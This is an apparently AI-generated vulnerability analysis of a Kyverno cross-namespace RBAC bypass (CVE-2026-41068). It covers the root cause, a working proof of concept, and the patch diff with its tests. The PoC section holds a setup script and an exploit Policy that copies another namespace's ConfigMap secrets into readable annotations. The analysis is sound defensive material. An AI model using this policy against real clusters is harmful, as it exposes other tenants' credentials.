Automated Threat Modeling

Kyverno CVE-2026-41068: Cross-Namespace RBAC Bypass via ConfigMap Context Loader — Quick Look with PoC and Patch Analysis

CVE-2026-41068 is a high-severity RBAC bypass in Kyverno's ConfigMap context loader. A namespace admin can read ConfigMaps from any namespace in a multi-tenant Kubernetes cluster. This covers the public PoC and the patch.

CVE Analysis

10 min read

ZeroPath CVE Analysis
ZeroPath CVE Analysis

2026-04-23

Kyverno CVE-2026-41068: Cross-Namespace RBAC Bypass via ConfigMap Context Loader — Quick Look with PoC and Patch Analysis
Experimental AI-Generated Content

This CVE analysis is an experimental publication that is completely AI-generated. The content may contain errors or inaccuracies and is subject to change as more information becomes available. We are continuously refining our process.

If you have feedback, questions, or notice any errors, please reach out to us.

[email protected]

Introduction

An incomplete security fix in Kyverno left multi-tenant Kubernetes clusters open to cross-namespace data exfiltration. Any namespace admin could read ConfigMaps from arbitrary namespaces by abusing Kyverno's own privileged service account. The earlier CVE-2026-22039 patched this class of RBAC bypass for the apiCall context, but the identical flaw in the ConfigMap context loader was missed, and a public proof of concept makes exploitation trivial.

Kyverno is a Cloud Native Computing Foundation incubating project and one of the most widely adopted policy engines for Kubernetes, with over 3 billion downloads. It lets platform engineering teams define admission control, mutation, validation, and resource generation policies as native Kubernetes resources. Because it sits deep in the Kubernetes admission pipeline, a flaw in Kyverno's privilege model can undermine the RBAC isolation that multi-tenant clusters depend on.

Technical Information

Root Cause

The vulnerability is classified under CWE-863 (Incorrect Authorization) and carries a CVSS 3.1 base score of 7.7 High, with the vector AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N.

The root cause is in pkg/engine/context/loaders/configmap.go. The NewConfigMapLoader function accepts a configMap.namespace field after variable substitution and passes it straight to the resolver.Get() call, with no validation against the policy's own namespace. In a properly isolated multi-tenant cluster, a namespace-scoped Kyverno Policy should only reference resources within its own namespace. But because the ConfigMap loader never enforced that constraint, any resolved namespace was accepted.

This is dangerous because Kyverno's admission controller service account holds a cluster-wide view role. When a namespaced policy references a ConfigMap in a foreign namespace, Kyverno fetches it using its own elevated privileges, acting as a proxy for the attacker.

The earlier CVE-2026-22039 fixed this exact pattern for the apiCall.URLPath field by adding namespace validation to the API call context loader. The ConfigMap context loader was not included in that fix.

Attack Flow

The exploitation path is short and requires only standard namespace admin privileges:

  1. Attacker has namespace admin access in their own namespace (e.g., attacker-ns) within a multi-tenant Kubernetes cluster running a vulnerable version of Kyverno.

  2. Attacker creates a Kyverno Policy in attacker-ns with a context entry referencing a ConfigMap in a victim namespace (e.g., victim-ns). The configMap.namespace field is set to the target namespace.

  3. Attacker triggers the policy by creating a resource that matches the policy's match criteria (e.g., a ConfigMap named trigger-cm in attacker-ns).

  4. Kyverno's admission controller processes the admission request, evaluates the policy, and fetches the cross-namespace ConfigMap using its own cluster-wide service account.

  5. The policy mutates the trigger resource to exfiltrate the stolen data. For example, the policy can write the victim ConfigMap's values into annotations on the trigger ConfigMap, where the attacker can read them.

The attacker never directly accesses the victim namespace. Kubernetes RBAC correctly denies direct access. The bypass happens because Kyverno acts as an intermediary with elevated privileges and no namespace boundary enforcement on the ConfigMap loader.

Proof of Concept

A fully working proof of concept is publicly disclosed in the GitHub Security Advisory GHSA-cvq5-hhx3-f99p. The attack reproduces in about 5 minutes on a local kind cluster.

Step 1: Environment Setup

#!/bin/bash # Setup: kind cluster + Kyverno v1.17.0 kind create cluster --name kyverno-poc --wait 60s helm repo add kyverno https://kyverno.github.io/kyverno/ helm install kyverno kyverno/kyverno --namespace kyverno --create-namespace --version 3.7.0 --wait # Create attacker and victim namespaces kubectl create namespace attacker-ns kubectl create namespace victim-ns # Plant sensitive data in victim namespace kubectl create configmap sensitive-config -n victim-ns \ --from-literal=db-password="s3cr3t-p4ssw0rd" \ --from-literal=api-key="AKIAIOSFODNN7EXAMPLE" # Create namespace admin RBAC (standard multi-tenant setup) kubectl create serviceaccount ns-admin -n attacker-ns kubectl create rolebinding ns-admin-binding --clusterrole=admin \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns kubectl create role kyverno-policy-creator --verb=create,get,list \ --resource=policies.kyverno.io --namespace=attacker-ns kubectl create rolebinding kyverno-policy-binding --role=kyverno-policy-creator \ --serviceaccount=attacker-ns:ns-admin --namespace=attacker-ns # Verify namespace admin CANNOT directly access victim-ns kubectl get configmap sensitive-config -n victim-ns \ --as=system:serviceaccount:attacker-ns:ns-admin # Error: Forbidden (expected)

Step 2: Exploit Policy

The core of the exploit is a Kyverno Policy resource that references a ConfigMap in a different namespace through the unvalidated configMap.namespace field:

apiVersion: kyverno.io/v1 kind: Policy metadata: name: configmap-crossns-read namespace: attacker-ns spec: rules: - name: steal-configmap match: any: - resources: kinds: [ConfigMap] names: ["trigger-cm"] context: - name: stolendata configMap: name: "sensitive-config" namespace: "victim-ns" # <-- NO VALIDATION mutate: patchStrategicMerge: metadata: annotations: exfil-db-password: "{{ stolendata.data.\"db-password\" }}" exfil-api-key: "{{ stolendata.data.\"api-key\" }}"

Step 3: Trigger and Exfiltrate

Creating a ConfigMap named trigger-cm in attacker-ns activates the policy. The mutated annotations on the resulting object contain the victim namespace's ConfigMap data: the db-password and api-key values.

The vulnerable code path is in NewConfigMapLoader() within pkg/engine/context/loaders/configmap.go, which accepts the namespace field after variable substitution and passes it straight to resolver.Get() with no validation against the policy's own namespace.

Patch Information

The fix was introduced in commit bbf3e5c (PR #15850), authored by Jim Bugwadia on April 15, 2026, and released in Kyverno v1.17.2.

The patch touches three files.

1. pkg/engine/context/loaders/configmap.go (38 additions, 16 deletions)

A new policyNamespace field was added to the configMapLoader struct:

type configMapLoader struct { // ... existing fields ... policyNamespace string // NEW: tracks the namespace of the owning policy }

Inside the fetchConfigMap() method, two layers of validation were added after variable substitution.

Type assertion safety to prevent panics from non-string substitution results:

namespaceStr, ok := namespace.(string) if !ok { return nil, fmt.Errorf("...expected string, got %T", namespace) }

Cross-namespace access guard, the critical security check:

// For namespaced policies, default to the policy's own namespace. if namespaceStr == "" { if cml.policyNamespace != "" { namespaceStr = cml.policyNamespace } else { namespaceStr = "default" } } // For namespaced policies, reject cross-namespace ConfigMap access. if cml.policyNamespace != "" && namespaceStr != cml.policyNamespace { return nil, fmt.Errorf( "context entry %s: configMap namespace %q is different from policy namespace %q", entryName, namespaceStr, cml.policyNamespace, ) }

The logic has two parts. First, if no namespace was specified, the default is now context-aware, so namespaced policies default to their own namespace instead of always falling back to "default". Second, an explicit comparison blocks any resolved namespace that does not match the policy namespace. ClusterPolicies, where policyNamespace is empty, stay unrestricted, since they have cluster-wide scope by design.

2. pkg/engine/factories/contextloaderfactory.go (1 line change)

The call site that instantiates NewConfigMapLoader was updated to pass the already available l.policyNamespace:

// Before: ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext) // After: ldr := loaders.NewConfigMapLoader(ctx, l.logger, entry, l.cmResolver, jsonContext, l.policyNamespace)

The context loader factory already held this policyNamespace value, passing it to the apiCall loader as part of the CVE-2026-22039 fix. It just was not threaded through to the ConfigMap loader.

3. pkg/engine/context/loaders/configmap_test.go (143 lines, new file)

Seven focused unit tests were added:

  • Test_CrossNamespaceConfigMapAccess confirms a namespaced policy in attacker-ns is blocked from reading ConfigMaps in victim-ns, and verifies the mock resolver is never even called, so the check fails before any network request.
  • Test_SameNamespaceConfigMapAccess ensures same-namespace access still works.
  • Test_CrossNamespaceConfigMapAccess_EmptyNamespaceDefaultsToPolicyNS validates that omitting the namespace on a namespaced policy defaults to the policy's own namespace.
  • Test_CrossNamespaceConfigMapAccess_ClusterPolicyUnrestricted confirms ClusterPolicies can still access ConfigMaps in any namespace.
  • Test_CrossNamespaceConfigMapAccess_WithVariableSubstitution verifies that even when the attacker uses Kyverno variable substitution (e.g., {{ targetNs }}) to inject a victim namespace dynamically, the validation still catches it after substitution.
  • Two more tests cover non-string substitution edge cases that would otherwise panic.

Affected Systems and Versions

VersionStatusDetails
1.17.0 and earlierVulnerableConfirmed affected per GHSA-cvq5-hhx3-f99p
1.17.1VulnerableListed as affected in the GitHub Advisory Database
1.17.2PatchedContains the namespace validation fix

Treat all versions up to and including 1.17.1 as vulnerable. The fix requires Kyverno 1.17.2.

Kyverno 1.17.x requires Kubernetes 1.32 through 1.35. Verify your cluster version before upgrading. For reference, Kyverno follows an N-2 support policy:

Kyverno VersionKubernetes MinimumKubernetes Maximum
1.15.x1.301.33
1.16.x1.311.34
1.17.x1.321.35

The security advisory also recommends auditing the other context loaders (globalReference, imageRegistry, variable) for the same missing validation.

Vendor Security History

CVE-2026-41068 is explicitly an incomplete fix for the earlier CVE-2026-22039, which addressed the same class of cross-namespace privilege escalation in Kyverno's apiCall context. The apiCall.URLPath field was patched to validate the resolved namespace against the policy namespace, but the ConfigMap context loader was missed in that remediation. The same vulnerability pattern turning up in a parallel code path shows how hard it is to cover every subsystem when fixing a class of bug. The Kyverno maintainers responded with a targeted fix and thorough test coverage, and the advisory calls out the other context loaders that should be audited for the same issue.

References

Detect & fix
what others miss

Works with
  • GitHub
  • GitLab
  • Bitbucket
  • Azure DevOps Services
  • Gerrit
  • CVS
  • Jira
  • Linear
  • Slack
  • Security Compass
Explore integrations
Security magnifying glass visualization